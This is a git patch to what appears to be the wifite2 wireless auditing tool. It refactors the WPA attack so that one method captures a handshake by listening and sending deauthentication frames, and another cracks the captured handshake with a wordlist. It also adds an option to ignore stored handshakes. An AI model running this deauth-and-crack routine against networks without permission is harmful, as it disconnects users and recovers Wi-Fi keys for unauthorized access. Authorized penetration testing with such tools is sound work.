From 562bf438bfeaeba3948e55bcee05f775dd3bde1c Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 27 Feb 2018 20:33:24 -0500 Subject: [PATCH] Refactor WPA handshake capture TODO: Argument to ignore old handshakes --- py/AttackWPA.py | 173 ++++++++++++++++++++++++-------------------- py/Configuration.py | 1 + py/Scanner.py | 4 +- 3 files changed, 99 insertions(+), 79 deletions(-) diff --git a/py/AttackWPA.py b/py/AttackWPA.py index a8e0872..30d65a1 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -34,6 +34,35 @@ class AttackWPA(Attack): self.success = False return self.success + handshake = None + + # Capture the handshake ("do it live!") + if handshake is None: + handshake = self.capture_handshake() + + if handshake is None: + # Failed to capture handshake + self.success = False + return self.success + + # Analyze handshake + Color.pl('\n{+} analysis of captured handshake file:') + handshake.analyze() + + # Crack it + key = self.crack_handshake(handshake, Configuration.wordlist) + if key is None: + self.success = False + else: + self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) + self.crack_result.dump() + self.success = True + return self.success + + def capture_handshake(self): + ''' Returns captured or stored handshake, otherwise None ''' + handshake = None + # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, @@ -48,93 +77,83 @@ class AttackWPA(Attack): bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None - handshake = self.load_handshake(bssid=bssid, essid=essid) - if handshake: - Color.pl('\n\n{+} {G}using existing handshake found at %s{W}' % handshake.capfile) - Color.pl('\n{+} {G}successfully loaded handshake{W}') - else: - timeout_timer = Timer(Configuration.wpa_attack_timeout) - deauth_timer = Timer(Configuration.wpa_deauth_timeout) - - while handshake is None and not timeout_timer.ended(): - step_timer = Timer(1) + # Try to load existing handshake + if Configuration.ignore_old_handshakes == False: + handshake = self.load_handshake(bssid=bssid, essid=essid) + if handshake: Color.clear_entire_line() - Color.pattack("WPA", - airodump_target, - "Handshake capture", - "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) + Color.pl('{+} found {G}existing handshake{W} for {C}%s{W}' % handshake.essid) + Color.pl('{+} from {C}%s{W}' % handshake.capfile) + return handshake - # Find .cap file - cap_files = airodump.find_files(endswith='.cap') - if len(cap_files) == 0: - # No cap files yet - time.sleep(step_timer.remaining()) - continue - cap_file = cap_files[0] + timeout_timer = Timer(Configuration.wpa_attack_timeout) + deauth_timer = Timer(Configuration.wpa_deauth_timeout) - # Copy .cap file to temp for consistency - temp_file = Configuration.temp('handshake.cap.bak') - copy(cap_file, temp_file) + while handshake is None and not timeout_timer.ended(): + step_timer = Timer(1) + Color.clear_entire_line() + Color.pattack("WPA", + airodump_target, + "Handshake capture", + "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) - # Check cap file in temp for Handshake - bssid = airodump_target.bssid - essid = airodump_target.essid if airodump_target.essid_known else None - handshake = Handshake(temp_file, bssid=bssid, essid=essid) - if handshake.has_handshake(): - # We got a handshake - Color.pl('\n\n{+} {G}successfully captured handshake{W}') - break - - # There is no handshake - handshake = None - # Delete copied .cap file in temp to save space - os.remove(temp_file) - - # Look for new clients - airodump_target = self.wait_for_target(airodump) - for client in airodump_target.clients: - if client.station not in self.clients: - Color.clear_entire_line() - Color.pattack("WPA", - airodump_target, - "Handshake capture", - "Discovered new client: {G}%s{W}" % client.station) - Color.pl("") - self.clients.append(client.station) - - # Send deauth to a client or broadcast - if deauth_timer.ended(): - self.deauth(airodump_target) - # Restart timer - deauth_timer = Timer(Configuration.wpa_deauth_timeout) - - # Sleep for at-most 1 second + # Find .cap file + cap_files = airodump.find_files(endswith='.cap') + if len(cap_files) == 0: + # No cap files yet time.sleep(step_timer.remaining()) - continue # Handshake listen+deauth loop + continue + cap_file = cap_files[0] - if not handshake: - # No handshake, attack failed. - Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) - self.success = False - return self.success + # Copy .cap file to temp for consistency + temp_file = Configuration.temp('handshake.cap.bak') + copy(cap_file, temp_file) - # Save copy of handshake to ./hs/ - self.save_handshake(handshake) + # Check cap file in temp for Handshake + bssid = airodump_target.bssid + essid = airodump_target.essid if airodump_target.essid_known else None + handshake = Handshake(temp_file, bssid=bssid, essid=essid) + if handshake.has_handshake(): + # We got a handshake + Color.pl('\n\n{+} {G}successfully captured handshake{W}') + break - # Print analysis of handshake file - Color.pl('\n{+} analysis of captured handshake file:') - handshake.analyze() + # There is no handshake + handshake = None + # Delete copied .cap file in temp to save space + os.remove(temp_file) - # Try to crack handshake - key = self.crack_handshake(handshake, Configuration.wordlist) - if key is None: - self.success = False - else: - self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) - self.crack_result.dump() - self.success = True - return self.success + # Look for new clients + airodump_target = self.wait_for_target(airodump) + for client in airodump_target.clients: + if client.station not in self.clients: + Color.clear_entire_line() + Color.pattack("WPA", + airodump_target, + "Handshake capture", + "Discovered new client: {G}%s{W}" % client.station) + Color.pl("") + self.clients.append(client.station) + + # Send deauth to a client or broadcast + if deauth_timer.ended(): + self.deauth(airodump_target) + # Restart timer + deauth_timer = Timer(Configuration.wpa_deauth_timeout) + + # Sleep for at-most 1 second + time.sleep(step_timer.remaining()) + continue # Handshake listen+deauth loop + + if handshake is None: + # No handshake, attack failed. + Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) + return handshake + else: + # Save copy of handshake to ./hs/ + self.save_handshake(handshake) + return handshake def crack_handshake(self, handshake, wordlist): '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' diff --git a/py/Configuration.py b/py/Configuration.py index 0e78368..9b032a5 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -62,6 +62,7 @@ class Configuration(object): Configuration.wpa_attack_timeout = 500 # Wait time before failing Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes Configuration.wpa_strip_handshake = False # Strip non-handshake packets + Configuration.ignore_old_handshakes = False # Always fetch a new handshake # Default dictionary for cracking Configuration.wordlist = None diff --git a/py/Scanner.py b/py/Scanner.py index 3bd32fe..3c45647 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -85,10 +85,10 @@ class Scanner(object): return False for target in self.targets: - if bssid and bssid.lower() == target.bssid.lower(): + if bssid and target.bssid and bssid.lower() == target.bssid.lower(): self.target = target break - if essid and essid.lower() == target.essid.lower(): + if essid and target.essid and essid.lower() == target.essid.lower(): self.target = target break